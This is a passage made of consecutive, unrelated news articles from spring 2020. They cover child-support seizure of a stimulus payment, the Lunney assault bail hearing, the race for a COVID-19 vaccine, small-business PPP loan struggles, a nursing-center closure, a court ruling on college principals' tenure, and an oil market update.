protect his current wife from garnishments for his back child support, the couple filed whats known as an injured spouse allocation with their joint tax return. It allows the spouse who is not responsible for the child support to get back their share of a joint refund. But that didnt help with the stimulus payment. This has been devastating on our family, MacConnell said. I'm still unemployed at this moment. My unemployment ran out March 21, and I haven't been able to get in touch with N.J. unemployment to find out where the (benefits) extension is. What can be done? For those who are married to and file a joint return with a spouse who has past due child support arrears from a previous relationship, any joint tax refund owing to the couple is likely to be seized by the IRS and redirected towards the outstanding support obligation, said Matthew Coleman, an attorney in the matrimonial and family law group at Einhorn, Barbarito, Frost & Botwinick in Denville. However, he said, the non-owing spouse is not legally responsible for the support arrears, and but for filing a joint return, would receive their refund in full. Coleman said the injured spouse allocation should still apply to the stimulus payments. If they filed their joint tax return for 2019 this year and filed this form already, they should not need to file an additional form in order to recoup the stimulus money, Coleman said. Unfortunately, injured spouse determinations can take upwards to three months for the IRS to make a determination and release funds to the unobligated spouse. Thomas Roberto, a family law attorney with Adinolfi, Lieberman, Burick, Falkenstein, Roberto & Molotsky in Haddonfield, suggested one strategy that could work faster. He said MacConnells former spouse has no right to the portion of the stimulus check belonging to his new spouse and children. Roberto said they should contact the probation department, which handles child support collections. If the entire stimulus check has been seized, the Probation Department should be setting aside and holding the portion that belongs to the spouse and children, applying only that portion of the stimulus check that belongs to the husband toward the outstanding support arrears, Roberto said. He or his wife should start by calling Probation and making a claim for the wife and childrens share of the stimulus funds. If they cant get relief by working with Probation directly, the alternative would be to file a motion with the Court and request that the portion of the stimulus check belonging MacConnells wife and children be returned immediately, he said. We reached out to the New York City probation department to see if it could help, but it didnt immediately respond. So MacConnell plans to reach out to probation to see if he can get his current wifes money back sooner rather than later. They need the cash. Please subscribe now and support the local journalism YOU rely on and trust. Karin Price Mueller may be reached at bamboozled@njadvancemedia.com. The High Court has granted bail to two men charged with the alleged assault and false imprisonment of Quinn Industrial Holdings (QIH) Director Kevin Lunney. Luke O'Reilly (66), from Mullahoran Lower, Kilcogy, Co Cavan and Darren Redmond (25), from Caledon Road, East Wall, Dublin 3 are charged with false imprisonment and assault causing serious harm to Mr Lunney at Drumbrade, Ballinagh, Co Cavan on September 17, 2019. The two men were served with books of evidence at the Special Criminal Court on March 26 last and it is expected that their trial could potentially begin in January 2021. Mr Lunney (50), a father of six, was abducted close to his home in Co Fermanagh on the evening of September 17. The businessman's leg was broken, he was doused in bleach and the letters QIH were carved into his chest during the two-and-a-half hour ordeal before he was dumped on a roadside in Co Cavan. Mr O'Reilly and Mr Redmond appeared this morning (Tues) via video-link from Portlaoise Prison for the hearing and could each be seen wearing a face mask on the court's large television screens. Ruling on the application today, Mr Justice Paul Burns said taking all the evidence and submissions together, the prosecution had fallen just short of meeting the standard of proof required for the court to refuse bail. The judge granted bail for both men but stressed that it was subject to stringent conditions. The State had objected to bail on two grounds, arguing that if granted bail the accused men would interfere with the administration of justice and that they were also "flight risks". Aoife O'Leary BL, for the Director of Public Prosecutions (DPP), said there was a strong circumstantial case to be made against both men. "These offences were intimidatory in nature and there is very strong evidence connecting these individuals to these offences," she added. In reply, Michael Bowman SC for Mr Redmond and Mark Mulholland QC for Mr O'Reilly said that there was no evidential basis to justify their clients being refused bail. Mr O'Reilly and Mr Redmond were refused bail at Virginia District Court last year and sought to have that decision overturned by bringing an application to the High Court in Cloverhill on December 19 last. However, Mr Justice Robert Eagar refused to grant bail to the two men. Two other men are facing trial alongside Mr O'Reilly and Mr Redmond. Alan OBrien (39), of Shelmalier Road, East Wall, Dublin 3 and a fourth man who cannot be named for leagl reasons are both also charged with false imprisonment and assault causing serious harm to Mr Lunney on the same occasion. Mr O'Reilly and Mr Redmond were granted bail until their trial date, which is expected to last between eight and 12 weeks. The case is in for mention before Special Criminal Court 2 on June 10. By Julie Steenhuysen, Peter Eisler, Allison Martell and Stephanie Nebehay (Reuters) - In the race to develop a vaccine to end the COVID-19 pandemic, governments, charities and Big Pharma firms are sinking billions of dollars into bets with extraordinarily low odds of success. Theyre fast-tracking the testing and regulatory review of vaccines with no guarantee they will prove effective. By Julie Steenhuysen, Peter Eisler, Allison Martell and Stephanie Nebehay (Reuters) - In the race to develop a vaccine to end the COVID-19 pandemic, governments, charities and Big Pharma firms are sinking billions of dollars into bets with extraordinarily low odds of success. Theyre fast-tracking the testing and regulatory review of vaccines with no guarantee they will prove effective. Theyre building and re-tooling plants for vaccines with slim chances of being approved. Theyre placing orders for vaccines that, in the end, are unlikely to be produced. Its the new pandemic paradigm, focused on speed and fraught with risks. The crisis in the world is so big that each of us will have to take maximum risk now to put this disease to a stop," said Paul Stoffels, chief scientific officer at Johnson & Johnson, which has partnered with the U.S. government on a $1 billion investment to speed development and production of its still-unproven vaccine. If it fails, Stoffels told Reuters, it will be bad. Historically, just 6% of vaccine candidates end up making it to market, often after a years-long process that doesnt draw big investments until testing shows a product is likely to work. But the traditional rules of drug and vaccine development are being tossed aside in the face of a virus that has infected 2.7 million people, killed more than 192,000 and devastated the global economy. With COVID-19, the goal is to have a vaccine identified, tested and available on a scale of hundreds of millions of doses in just 12 to 18 months. Drug companies and the governments and investors that finance them are boosting their at-risk spending in unprecedented ways. The overriding consensus among more than 30 drug company executives, government health officials and pandemic-response experts interviewed by Reuters is that the risks are necessary to ensure not only that a vaccine for the new coronavirus is developed quickly, but that it is ready to distribute as soon as its approved. Investments from governments, global health groups and philanthropies have been aimed primarily at the most promising of the more than 100 vaccine candidates in development worldwide. But only a handful of those have advanced to human trials, the real indicator of safety and efficacy - and the stage where most vaccines wash out. Even among the more encouraging prospects, very few are likely to succeed. Its possible more than one will work; its possible none will. For companies in the race, there are some likely benefits: It's a proving ground for vaccine technologies and a chance to burnish reputations and boost shares. While some large companies, including Johnson & Johnson and GlaxoSmithKline Plc, have said they plan to make the vaccine available at cost - at least at first - they may reap profits down the road if seasonal vaccination is needed and countries invest in stockpiles. But finding a vaccine that works does little good without the ability to produce and distribute it. That means building manufacturing plants now. "We want to make investments up front, at risk, even before we know the vaccines work, to be able to (immediately) manufacture them at a scale of tens or hundreds of millions of doses, said Richard Hatchett, a physician who managed U.S. pandemic flu policy under former President George W. Bush and returned to advise the Obama White House during the 2009 swine flu pandemic. Hatchett now heads the Coalition for Epidemic Preparedness Innovations (CEPI), a vaccine-development consortium supported by private donors as well as the United Kingdom, Canada, Belgium, Norway, Switzerland, Germany and the Netherlands. The organization has raised more than $915 million of the $2 billion it anticipates spending to accelerate testing and build specialized production plants for at least three coronavirus vaccine candidates. In the United States, the Biomedical Advanced Research and Development Authority (BARDA), a federal agency that funds disease-fighting technology, has announced investments of nearly $1 billion to support coronavirus vaccine development and the scale-up of manufacturing for promising candidates. One underlying fear, shared by everyone Reuters interviewed, is that even if a vaccine does prove effective, there wont be enough to go around. Having reserves ready worldwide to immediately inoculate critical populations - health care workers, the elderly, people made vulnerable by medical conditions - would stamp out the pandemic faster and reignite economies, Hatchett said. The alternative, he said, is a replay of past pandemics, including the H1N1 influenza outbreak of 2009, with wealthy countries hoarding the vaccines. If that happens, pandemic experts warn, infection hot spots will continue to pop up, each with the potential to create a new wave of illness. FULL SPEED AHEAD The scale of the coronavirus vaccine race has no historical parallels. CEPI has identified at least 115 ongoing vaccine initiatives worldwide. And the race is shattering norms of speed and safety in drug and vaccine development. Some developers are running safety and efficacy trials in tandem, instead of sequentially, as is typical, and short-cutting traditional testing protocols. Others are working with regulators in multiple countries simultaneously, looking for the quickest path to market. The resulting uncertainty makes it especially risky to invest in manufacturing facilities for a given candidate, since different types of vaccines can require very distinct production lines. Many of the candidates attracting the most investment rely on proven vaccine approaches being adapted by Big Pharma companies with regulatory and production acumen. Some funders are gambling on smaller biotech companies and academic labs, which may have promising technologies but little to no experience getting a drug or vaccine approved and produced at scale. BARDA, the U.S. R&D agency, is one of the biggest vaccine funders, with some $5 billion to spend. The agency plans to invest in five vaccine candidates, focusing mostly on projects from experienced drug makers. "Each is coming with a lot of prior experience, said Rick Bright, who until this month was BARDAs director. They all know how to scale up." In one of its biggest bets, BARDA is pouring nearly $500 million into a J&J effort. J&Js coronavirus vaccine candidate uses a cold virus, rendered harmless, to deliver genes derived from the spiky, crown-shaped proteins on the surface of the new coronavirus, prompting an immune response. J&J is using the same technology to develop vaccines for other viruses, including Ebola. While none has completed testing and won full U.S. approval, trials so far in tens of thousands of people have produced data showing the basic approach is safe, which could speed regulatory approval for the new coronavirus vaccine. But its far from a sure bet: Animal test data, due this summer, will give the first hint of the vaccine's effectiveness and human trials will begin in September. By end of the year, well know whether it protects humans, said Stoffels, J&Js chief science officer. In China, CanSino Biologics Inc has vaccine technology similar to the one being used by J&J. CanSino is further along with its testing, having announced this month that its candidate had cleared initial safety trials in humans and was set to advance to the next stage. Sanofi SA, the worlds largest vaccine maker, has attracted BARDA money for another proven approach, based on its approved Flublok flu shot. Sanofi uses insect cells instead of the traditional chicken eggs to grow the genetically altered virus proteins used to spur an immune response. Not all the vaccine projects getting attention have a Big Pharma pedigree. Moderna Inc, a biotech firm based in Cambridge, Massachusetts, was the first in the United States to begin human trials when it began testing its vaccine last month. Working with the U.S. National Institutes of Health, the company received seed money from CEPI, and this month, BARDA kicked in $483 million to support the vaccines development and help scale up manufacturing. That includes hiring 150 skilled workers to eventually produce vaccine around the clock. Modernas vaccine uses genetic material called messenger RNA (mRNA) to instruct cells in the body to make specific coronavirus proteins that then produce an immune response. No mRNA vaccine has ever been approved for public use, but the technology is drawing interest, in part because it makes a vaccine easier to design and produce in vast quantities. The end game is millions of doses," Tal Zaks, Moderna's chief medical officer, told Reuters. The company hopes to have an approved vaccine available as early as March 2021, and possibly before then for healthcare workers. German vaccine makers CureVac and BioNTech SE, which is partnering with Pfizer Inc, are preparing to begin trials with similar mRNA-based vaccine candidates. So is Lexington, Massachusetts-based Translate Bio Inc, which is working with Sanofi. EXTRAORDINARY SHORTCUTS Even for vaccine hopefuls already in human tests, it will be months before theres conclusive evidence on safety and effectiveness - something funders are keenly aware of. The rush has prompted scientists to consider previously unthinkable shortcuts. Normally, vaccines would need to undergo clinical trials involving thousands of people before widespread inoculation is allowed. But after testing a prospective vaccine in a smaller group to ensure it is not toxic, Swiss researchers seek to immunize a lot of the Swiss population in the next six months and then produce for a world market, Dr Martin Bachmann, head of immunology at Inselspital, the University Hospital of Bern, said this week. A spokesman for Swissmedic, the countrys drug regulator, said it was in contact with Bachmann's group and would not allow trials until the agency is assured that safety risks are addressed. The Swiss vaccine employs virus-like particles to provoke an immune response, an approach that theoretically is considered safer because it does not directly expose people to the actual coronavirus. So far, it has only been tested in mice. Dr. Gregory Poland, a vaccine researcher at the Mayo Clinic in Rochester, Minnesota, is among those worried about the risks of injecting a large group of people with a vaccine that has only been through minimal testing in humans. "I dont see how this is possible, he told Reuters, referring to Inselspitals plan. LESSONS UNLEARNED? The war on COVID-19 is haunted by lessons from the fight against another virus a decade ago. In the spring of 2009, the H1N1 swine flu virus emerged in the United States and Mexico and spread worldwide. Within weeks, the World Health Organization(WHO) declared it the first pandemic since 1968. Wealthier governments that had provisional contracts with vaccine makers immediately exercised them, effectively monopolizing the global vaccine supply," according to Hatchett and numerous official reports. The U.S. alone ordered 250 million doses, and Australia, Brazil, France, Italy, New Zealand, Norway, Switzerland and Britain all had vaccine. Under pressure from the WHO, those countries ultimately committed to share 10% of their stockpiles with poorer nations. But due to production and distribution snarls, only about 77 million doses were shipped far less than needed and only after the disease had peaked in many regions. If an effective vaccine emerges for the new coronavirus, a replay is possible, experts in pandemic preparedness say. None of the global health authorities consulted by Reuters believes there will be sufficient supplies to satisfy the immediate demand. Governments will be under tremendous pressure to immunize their own citizenry and get life back to normal, so hoarding remains a serious risk. Ronald St. John, a physician who has held government posts on infectious disease control in the United States and Canada, expects a similar scenario with vaccines. There is going to be a lot of self-interest in terms of the production, he said. BARDA explicitly gives preference to vaccine projects promising U.S. production capacity. We're asking the American taxpayer to give a lot to the vaccine effort, so its important to ensure U.S. access to any successful vaccine, said Bright, BARDAs recent chief. But he added that BARDA also is encouraging the companies it backs to build manufacturing capacity outside the United States, so we can have a global supply all at once. Many governments are pouring money into vaccine initiatives with expectations that they will be first in line if a viable vaccine emerges. Arcturus Therapeutics Holdings Inc, a San Diego biotech, is receiving up to $10 million from the Singapore government to develop its mRNA-based coronavirus vaccine candidate in partnership with the Duke-National University of Singapore Medical School. If the vaccine is approved, Singapore gets first access, said Arcturus CEO Joseph Payne. Everything after that, he said, goes to whoever pays for it. Arcturus is not responsible for the ethics of distribution - governments are - but in order for governments to get the vaccine, they need to pay for it, Payne said. The country that will win is the country that stockpiles multiple vaccines at risk. The company raised $80.5 million this week from a common stock public offering. In China, a major global producer of vaccines, the government is backing several coronavirus vaccine projects, raising the prospect it will inoculate its 1.4 billion people first. One government-backed effort, by Sinovac Biotech Ltd., is already testing vaccine candidates in humans and awaiting initial data.. Sinovac got 60 million yuan ($8.4 million) in low-rate credit lines through a discount loan program supported by Chinas central bank. Government officials quickly made land available for the company to build production plants, including a factory meant to produce up to 100 million doses a year of its coronavirus vaccine. Sinovac would not discuss how much public money is being invested. The relevant government agencies declined requests for comment. On Friday, the World Health Organization announced a landmark collaboration across the international community to raise $8 billion to accelerate the coronavirus vaccine development and ensure equitable access worldwide to any successful vaccine. Countries across Europe, Asia, Africa, the Middle East and the Americas announced their participation, but the United States and China, two of the worlds biggest pharma forces, did not. There will be no U.S. official participation, a spokesman for the U.S. mission in Geneva told Reuters, adding that the U.S. supports global cooperation to develop a vaccine. Broader questions about U.S. policy on international vaccine distribution are still under consideration within the Trump administration, according to a member of the White House coronavirus task force who spoke to Reuters on condition of anonymity. The official noted that the U.S. Department of State and the U.S. Agency for International Development are spending nearly $500 million to assist with the COVID-19 response internationally. A WHO spokeswoman said Fridays announcement was the beginning of a global collaboration and we would welcome more countries coming on board. China did not respond to a request for comment. People involved in the global vaccine race told Reuters that the greatest incentive for countries to promise to share coronavirus vaccines may be the uncertainty around which ones will work. Since no country can be sure the candidates it backs will prove successful, committing to sharing with other nations can help assure theyll have an initial supply to inoculate health care workers and other critical populations. "That's enlightened self-interest, as well as a global public good," said Jeremy Farrar, an infectious disease expert and director of the Wellcome Trust global health charity. (Steenhuysen reported from Chicago, Eisler from Washington, Martell from Toronto and Nebehay from Geneva; additional reporting by Matthias Blamont in Paris, Alexandra Harney in Hong Kong, Roxanne Liu in Beijing, John Miller in Zurich and Kate Kelland in London. Editing by Michele Gershberg and Julie Marquis.) This story has not been edited by Firstpost staff and is generated by auto-feed. Liberty Insurance are to offer rebates of 15% off their motor insurance premiums - but customers have to wait until June to claim them. The company will offer a 15% rebate for two months, in response to the outbreak of Covid-19, which has left nearly Thank you for reading! Please purchase a subscription to read our premium content. If you have a subscription, please log in or sign up for an account on our website to continue. GRAND RAPIDS, MI The Dominican Sisters of Grand Rapids will close a 49-bed skilled nursing center on the groups Marywood Campus on June 30. Sister Sandra Delgado, the orders prioress, said a dwindling number of patients, low Medicare reimbursement rates and reduced hospital referrals have made operating the center unsustainable. We are deeply saddened by this, but the growing financial difficulties mean that we simply cannot continue to accept patients, she said in a statement. The center provides rehabilitation and clinical services for patients recovering from illnesses, injuries, strokes or surgeries. The suspension of elective surgeries at many hospitals, due to the coronavirus pandemic, was a factor in the dwindling number of patients seeking care at the facility, said Mary McLoughlin, a spokesperson for the Dominican Sisters. There were 13 patients being treated at the center as of Tuesday afternoon. A press release said the facility is no longer accepting new admission, and that officials will ensure an orderly, safe discharge of all remaining residents to their homes or, if needed, to another health care facility. The Dominican Sisters Marywood Campus is located at 2025 E. Fulton Street. It once served as a Catholic girls school operated by the more than century old religious order. The Dominican Sisters founded Aquinas College. The skilled nursing center was opened in 2013. In 2018, the Dominican Sisters announced that Mercy Health Saint Marys and Trinity Health would manage and operate the skilled nursing center. The ninety employees who work at the center will be laid off, McLoughlin said. Lucy Poirier, vice president of operations at Trinity Senior Services Management, said in a statement that employees impacted by the closure will be offered career counseling and job search assistance. The affected employees will also be provided information on openings at other Trinity facilities in Michigan and beyond. While we are saddened at having to close Marywood Health Center, we are gratified and take pride in our history of providing quality, compassionate health care to thousands of residents and their families over our seven-year history, said Deborah Howell, the skilled nursing centers administrator. Related: Marywood opens assisted living community; Dominicans announce $1 million gift from donor Dominican Sisters announce partnership for 34-acre Marywood Campus Read more: The coronavirus was tailor made to devastate densely populated black Michigan communities Whitmer seeks 28-day extension of Michigans coronavirus state of emergency How Washtenaw County became an early Michigan hotspot for coronavirus As COVID-19 frontline warriors, including doctors and police personnel, go through exhausting work schedules stretching up to 12 hours a day, many of them are finding music therapy a tool to ease their stress levels. Music triggers most parts of the brain and reduces anxiety and modifies stress response and activates relaxation response, says city-based Anasuya Ravikanti, a professional music therapist, who has been reaching out to needy people involved in the fight against coronavirus. Ravikanti, who holds a doctorate in Carnatic music and offers music as therapy to various patients at a corporate hospital here, decided to chip in to support the ongoing battle against the deadly virus and is extending her services to healthcare personnel and others. "I have already reached out to several doctors and other professionals during the lockdown with my music sessions helping them to cope with stress," she told PTI here. A Post Graduate Diploma holder in Medical Music Therapy from Chennai School of Music Therapy, she offers her services through "Swarajeevani", an institute set up by her. Though she charges her patients, now she is offering her services free of cost to doctors and others involved in the battle against COVID-19, she said. "Music is a unique human phenomenon. It is the only sensory experience that can activate all the areas of the brain at the same time, simultaneously. That is the reason why music can influence psychological phenomena such as behavior and emotions," she said. It can also bring about several physiological changes in the body. Music would act as a stress buster. "So I thought, as a responsible and concerned citizen, I would do a bit that I can, the vocalist said adding she had conducted sessions through phone for doctors from different parts of the country. Dr.G.Ravindra, Professor and Head of the Department, CT surgery at the government Gandhi Hospital here, a designated COVID-19 facility, is among those who underwent a session from Ravikanti. The doctor said he felt relaxed and stress free after the session, enabling him to sleep peacefully throughout the night. I thank the Swarajeevani management for their compassion and love for all frontliners treating COVID-19 patients, he said. The World Federation of Music Therapy, which aims to promote the therapy throughout the globe, says that auditory sensation can be used as an intervention in medical, educational, and everyday environments with individuals, groups, families, or communities who seek to optimise their quality of life, among other developments. Music therapy was an interpersonal process in which the therapist uses music and all of its facets- physical, emotional, mental, social, aesthetic and spiritual to help clients to improve or maintain their health, she added. Dr J Srikanth, Head of Internal Medicine at Apollo Hospitals, Jubilee Hills, said there was evidence that music as a therapy yielded positive results. However, unlike in the West, there was not much awareness in the country on the subject, he said. If you listen to good music or a song the changes that occur in your brain can well be captured on camera. That is called Functional MRI. Clinically there is evidence that good music will have a positive impact on patients, Srikanth said. According to him, the National Institute of Mental Health and Neurological Sciences (NIMHANS) in Bengaluru has been doing trials on this subject with good amount of success. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) YEREVAN, APRIL 28, ARMENPRESS. The Armenian team of the World Congress on Information Technology (WCIT 2019) got an international recognition thanks to the high organizational work and is planning to hold its second massive technological conference in Moscow, the WCIT 2019 Yerevan organizational team said in a statement. WCIT 2019 Yerevan - a special moment for Armenia, an opportunity that focused the world's attention on the long and enduring tradition of innovation and achievement by Armenia and Armenians everywhere. WCIT 2019 Yerevan was a genuinely consequential and memorable technology conference that made a statement with a scope of its intellectual ambition, the quality of its substance, and mastery of its execution. This became possible with a great team of professionals behind, a true spirit, and a conviction of the mission but most of all, with the enormous efforts and input of Alexander Yesayan, the Chairman of WCIT 2019 Yerevan organizing committee, president of the Union of Advanced Technology Enterprises of Armenia (UATE) and co-founder of UCom. As a result Armenia set a new standard for technology conferences worldwide, the statement said. The Armenian team of WCIT is now in the discussion stage with the city of Moscow to plan and execute its second massive technological conference. More updates will be available soon. The WCIT 2019 was held in Yerevan, Armenian from October 7 to 9. More than 2500 people from 70 countries attend the Congress. College principals can now continue to hold their posts till their retirement, as the Bombay High Court on Monday struck down a clause in University Grant Commission (UGC) Regulations, 2010 that converted their permanent posts into term posts. A bench of justice ZA Haq and justice Manish Pitale on Monday struck down Clause 5.1.6(d) of the UGC Regulations, holding it was manifestly arbitrary. UGC amended the Regulations in 2016 and introduced the clause which capped the term of college principals to five years. It is extendable by another term of five years, provided the incumbent successfully undergoes the selection process and an external peer review. Twelve college principals from Vidarbha region had moved to High Court challenging validity of the clause. They argued that the clause arbitrarily curtailed the age of superannuation of college principal candidates and left them in lurch, as before introduction of the clause college principals continued to hold the posts till the age of superannuation and now because of this clause college principals will be without employment once they complete their tenure. UGC responded to the petitions contending that the concept of term appointments and external peer review was well founded and it was based on an internationally accepted practice. UGC maintained that introduction of Clause 5.1.6(d) had become necessary so as to keep college principals on their toes in order to achieve minimum standards and also to ensure that the principal as a leader of college excelled both in terms of academics and administration. The bench however refused to accept the justification. It is difficult to accept the contentions raised on behalf of UGC that only by introduction of such curtailed tenure of appointment to the post of principal that the incumbents would be kept on their toes and that only by such method they would excel in the academic and administrative fields, said the bench. If the Management finds a person appointed to the post of principal not performing and consequently having adverse effect on the college / institution, steps can certainly be taken against such a principal. But, by introducing the aforesaid Clause and virtually converting a permanent post into a tenure post, the action is rendered arbitrary and unsustainable. It added that when a person joins a particular service, the age of retirement is known and on the basis of experience and addition of qualifications, such a person expects his / her career graph to move in a particular direction. Before introduction of Clause 5.1.6(d), the bench said, a person appointed as principal was entitled to continue until he or she attained the age of superannuation. But, upon the introduction of the clause, span of service of principal stood curtailed and the incumbent was to be discontinued from service much before the age of retirement. This is a clear assault on the legitimate expectation of petitioners and other similarly situated persons and, therefore, it can certainly be held to be unreasonable restriction on such persons and their expectation of career progression, it added. The 10 days Lori Konawalik waited before she could apply for the federal governments small business relief program last month felt endless. Konawalik owns Mac Tabby Cat Cafe in NoDa, and finally received a link in her inbox late on April 15 from Wells Fargo, directing her to apply for a loan through the $349 billion Paycheck Protection Program. Like other businesses, Mac Tabby had to shut down after Mecklenburg County issued a stay-at-home order on March 24. The Paycheck Protection Program, part of a massive federal stimulus bill, was intended to keep businesses like Konawaliks afloat. But as Konawalik sat down the morning of April 16 to complete her application, a headline flashed across her screen: the program that would have helped her cafe reopen was out of money. Funds were depleted before Konawalik and many other Charlotte business owners could even get their applications in. Others had submitted them, but are unsure whether the applications made it to the Small Business Administration before the money was used up. Such concerns played out for small businesses across Charlotte and the country. Now, they have another shot: Congress voted last week to replenish the loan program with an additional $320 billion. Several Charlotte area business owners said theyre anxious but cautiously optimistic that theyll make the cut this time. Applications for the second round of funds opened Monday to another rocky start, as multiple media outlets reported that the governments online systems were crashing throughout the day. Mac Tabby Cat Cafe owner Lori Konawalik was submitting her application for the Paycheck Protection Program when the funding ran out. Shes hoping to get money from the next round of assistance for small businesses. And the bumpy roll out of the loans already has had direct consequences for business owners. Konawalik said shes grateful that her customers have purchased merchandise and gift cards, as well as made direct contributions to the cafe. She kept her staff of six on as long as she could, but without the certainty of the Paycheck Protection loan, she couldnt afford to keep making payroll. So she laid them off on April 17. Story continues Every day, Konawalik tries to figure out ways to earn income and have sufficient funds to reopen. Its not just my business, she said. Its what I live for, what I love. Losing hope Phil Levine woke up at 4 almost every morning throughout the past few weeks, stressing about his application to the Paycheck Protection Program. Levines business, Phils Deli, has been a fixture in Charlotte for decades. Hes been banking with BB&T, now Truist, for a majority of that time too. But as he was filling out the application, he said he couldnt get any bank representatives to answer his questions. He eventually submitted the application the day before the funding ran out with the help of his accountant and someone he hired to help with the online forms. Meanwhile, hes been giving two of his staff members who are out-of-work $100 a week out of his personal savings to help them support their families. Truist spokesman David White said in an email that the company was one of the most active lenders and helped businesses obtain about $10 billion in loans for an average of $323,000. He said the bank has thousands of staff helping business clients with the PPP application process. Given the demand, he said it is not guaranteed that all qualified applicants will receive a loan. Levine said hes not expecting to receive a check from the program, even with new funds. If he did, he said he could bring back at least four of his dozen or so employees to his Providence Road location, which is open for takeout and delivery. I think myself and a lot of the small business people are going to be left out in the cold, he said. Will this round be different? Following a backlash over major chains receiving funds while many small businesses missed out, the new relief package includes $60 billion for smaller lending institutions. This is exactly what minority-owned businesses, women-owned businesses, non-profits and micro-businesses need and what was missing in the original CARES Act, U.S. Rep. Alma Adams, a Democrat whose district covers parts of Charlotte, said in a statement. Adams and other Democrats pushed for the changes included in the bill, but Republicans say that stalled much-needed funding. Billy Maddalon, owner of the Morehead Inn in Dilworth, reached out to his banker at Truist before the loans even became available the first time so he could get in line. But he said at first he received a link for the application that didnt work. After he finally uploaded his information into the system, he received emails from the bank, saying it was still working on his application. Then the funding ran dry for the first round. Maddalon said he is considering switching to another bank because of the issues he faced in the first round of applications. And he submitted paperwork through online lender Kabbage and North Carolina-based Dogwood State Bank while waiting for the second wave of funds to open up. Billy Maddalon, owner of the Morehead Inn in Dilworth, is one of the Charlotte area business owners who did not receive funding from the Paycheck Protection Program before the money ran dry. I think the shiny is coming off the penny, Maddalon said. For small businesses, i dont think big banks are a really good fit anymore. White, the Truist spokesman, said the bank did not give preference to larger or more wealthy applicants. The bank is no longer taking new applications for the program due to overwhelming demand, he said Monday. A series of class-action lawsuits filed in California and New York allege Bank of America, Wells Fargo and other lenders of sending larger loans to the Small Business Administration ahead of smaller ones. Several of the banks disputed the claims or said they were without merit, while others declined to comment, the Observer reported. Truist is not part of that lawsuit. The cat room at Mac Tabby Cafe. Owner Lori Konawalik had to lay off her staff after she couldnt get funding from the Paycheck Protection Program before the money was depleted. Shes hoping to get in on the next round of aid for businesses. Konawalik, from the cat cafe, remains frustrated that corporations like Ruths Chris Steakhouse were able to obtain the loans while many small businesses like hers were left out. The restaurant chain has since said it will repay the money it received. These loans are such a lifeline to these small businesses, Konawalik said. Its not just, oh your small business has to close. This is their livelihood, this is what people do for a living they put their heart and souls into it. The urgent health crisis that COVID-19 has created a historic recession with record levels of deprivation and unemployment, creating an unprecedented human crisis that is hitting the poorest hardest, especially women and children. In a new framework released today as a roadmap to support countries' path to social and economic recovery, the United Nations calls for an extraordinary scale-up of international support and political commitment to ensure that people everywhere have access to essential services and social protection. The United Nations Framework for the immediate socio-economic response to COVID-19: Shared responsibility, global solidarity and urgent action for people in need. It calls for protecting jobs, businesses and livelihoods to set in motion a safe recovery of societies and economies as soon as possible for a more sustainable, gender-equal, and carbon-neutral pathbetter than the old normal. The UN Secretary-General, Antonio Guterres, who presented his report on the socio-economic impacts of COVID-19 Shared Responsibility, Global Solidarity said . This is not only a health crisis but a human crisis; a jobs crisis; a humanitarian crisis and a development crisis. And it is not just about the most vulnerable. This pandemic shows that we are all at risk because we are only as strong as the weakest health system. Its unprecedented scale demands an unprecedented response. Everything we do during and after this crisis must be with a strong focus on building more equal, inclusive and sustainable economies and societies that are more resilient in the face of pandemics, climate change and the many other global challenges we face, he said. This new framework released on Monday sets the way United Nations entities will deliver this vision on the ground. Decisions made in the next few months will be crucial for the progress towards the Sustainable Development Goals (SDGs), the UN's framework for social and economic recovery stresses. It said that during the Ebola outbreak in 2014, more people died from the interruption of social services and the economic breakdown than from the virus itself, the framework focuses on protecting the needs and rights of those most affected by the pandemic, starting with the most vulnerable countries, groups, and those who risk being left behind. Drawing lessons from the 2008-2009 global economic and financial crisis, the framework notes that countries with strong social protection systems and basic services suffered the least and recovered the fastest. To prevent billions of people from sliding into poverty, governments around the world will need to rapidly adapt, extend and scale-up safety 'cushions', such as cash transfers, food assistance, social insurance schemes and child benefits to support families. For the impacts of COVID-19 to be reduced, the UN calls for an extraordinary scale-up of support to cope with the challenges ahead, including immediate social protection responses that consider differentiated impacts on vulnerable groups, children, women, men, and those in the informal sector. This is particularly urgent considering that 4 billion people, more than half of the world populationincluding two out of three childrenhave no or inadequate social protection. Soi Dog distributes relief supplies to Myanmar workers affected by COVID-19 Staff from Soi Dog Foundation came together on Sunday (Apr 26) to distribute relief supplies to workers from Myanmar who have found themselves with little or no income due to the outbreak of COVID-19. Community By Soi Dog Foundation Tuesday 28 April 2020, 01:06PM The supplies distributed by Soi Dog should support 172 families affected by the suspensions and closures. Photo: Soi Dog Foundation The supplies distributed by Soi Dog should support 172 families affected by the suspensions and closures. Photo: Soi Dog Foundation The supplies distributed by Soi Dog should support 172 families affected by the suspensions and closures. Photo: Soi Dog Foundation The supplies distributed by Soi Dog should support 172 families affected by the suspensions and closures. Photo: Soi Dog Foundation The supplies distributed by Soi Dog should support 172 families affected by the suspensions and closures. Photo: Soi Dog Foundation A total of 172 packages were handed out, with supplies including two kilograms of rice, instant noodles and cans of sardines. The supplies were funded by individual donations from staff members as well as their families and friends. In Mai Khao, where Soi Dog is based, a number of construction projects have ground to a halt, leaving migrant workers without an income. Many of those working in the service sector, such as in restaurants and hotels, have also found themselves destitute. The supplies distributed by Soi Dog should support 172 families affected by the suspensions and closures. Health and safety protocols were strictly followed during the distribution. Families kept a safe distance while queuing to collect their packages, and face masks were worn without exception. Soi Dog continues to look out for Phukets homeless animals who also face difficulty in finding food at this time. Ahead of the island-wide lockdown from April 13-26, Soi Dog distributed over 11 tonnes of dog and cat food to stray animal feeders across the island. Work also continues at the shelter to care for those who are sick and injured. (Click to enlarge) (Click to enlarge) (Click to enlarge) Chart of the Week (Click to enlarge) - Weekly U.S. consumption of petroleum products averaged 14.1 mb/d for the week ending on April 17, down about a third from the pre-pandemic average. - Gasoline consumption averaged 5.3 mb/d, down from 8.9 mb/d year-to-date through early March. - Distillate demand has held up better, down just 20 percent. Market Movers - Dominion (NYSE: D) says a massive 2.6 GW offshore wind project is on track to begin construction in 2024. - Diamond Offshore (NYSE: DO) declared bankruptcy on Monday. Transocean (NYSE: RIG) and Valaris (NYSE: VAL) saw their share prices fall by 14 and 15 percent, respectively. - CNX Resources (NYSE: CNX) reported a $329 million loss, or a loss of $1.76 per share. Tuesday, April 28, 2020 Oil prices collapsed again on Monday on fears of dwindling storage and also extreme volatility in the front-month contract for WTI. The key trigger this time was probably the unexpected decision by one of the largest investment vehicles for retail investors to withdraw from the WTI futures for June and to move instead into contracts with a longer term, Commerzbank said in a note. OPECs exports rise in April. Crude oil supply from OPEC members has soared by more than 2 million bpd 